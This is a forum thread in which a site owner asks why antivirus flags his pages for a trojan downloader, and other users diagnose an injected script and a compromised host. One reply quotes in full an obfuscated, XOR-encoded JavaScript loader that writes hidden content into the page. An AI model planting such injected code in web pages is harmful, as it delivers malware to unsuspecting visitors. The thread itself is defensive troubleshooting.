trojan on my site

[eMonk]

www.ethnichoes.com loads trojan-downloader.html.agent.aq with internet explorer. any ideas why? is my system infected & producing/uploading infected files to my web host?

[Dirty F]

How about im NOT gonna check.

[eMonk]

lol, people with a trojan detector can view my site safely. i'm using kaspersky & it picks it up. don't be sccaarreed.

[Quickdraw]

This code is at the bottom of your page, looks familiar..

<script language="JavaScript">
e = '0x00' + '22';str1 = "%99%C1%CA%D7%BD%D0%D1%DA%C9%C6%9E%83%D7%CA%D0%CA%C3%CA%C9%CA%D1%DA%9B%C5%CA%C1%C1%C6%CF%83%9F%99%CA%C7%D3%C2%CE%C6%BD%D0%D3%C0%9E%83%C5%D1%D1%CD%9B%8C%8C%C1%CF%D7%8E%C0%CC%D6%CF%D1%C6%D3%8F%C0%CC%CE%8C%D1%D3%C7%8C%83%BD%D4%CA%C1%D1%C5%9E%92%BD%C5%C6%CA%C4%C5%D1%9E%92%9F%99%8C%CA%C7%D3%C2%CE%C6%9F%99%8C%C1%CA%D7%9F%BD%AE%AB";str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}document.write(str);
</script>

[eMonk]

good find quickdraw...

that code isn't in my orginal html file. only in the final produced html file on my web host. i'll look into this more now.

[Screaming]

Not gonna click it to find out heh.

[RogerV10]

Originally Posted by MUNK

good find quickdraw...

that code isn't in my orginal html file. only in the final produced html file on my web host. i'll look into this more now.

Have you tried contacting your webhost at all?

[eMonk]

Originally Posted by RogerV10

Have you tried contacting your webhost at all?

nope, should i?

[eMonk]

i'm going to contact them now.

[Tapaz]

I ve the same problem on one of my sites , can u please tell me how you solved it?

[eMonk]

Originally Posted by Tapaz

I ve the same problem on one of my sites , can u please tell me how you solved it?

bookmark this thread tapaz & check back often. i will post the solution when i have it figured out (or someone else here). let us also know if you find a working solution to this problem.

[SmokeyTheBear]

the problem is on your host not you.. there is a file rewriting your files on your host

[Babaganoosh]

Looks like it ended up in your toplist html. Check and see if the code is in your toplist template.

[SmokeyTheBear]

sometimes they set it to a cron job so it rewrites them at selected time intervals like every hour , so if you upload a clean version and come back it will have rewritten over it

[CyberHustler]

Got Hijacked

[eMonk]

Originally Posted by Babaganoosh

Looks like it ended up in your toplist html. Check and see if the code is in your toplist template.

BINGO!

[Tapaz]

so what to do?

[Tapaz]

any news? Solutions?

[Tapaz]

I solved it they puttes codes in my files , I deleted it , and I ll check is all ok in the next future...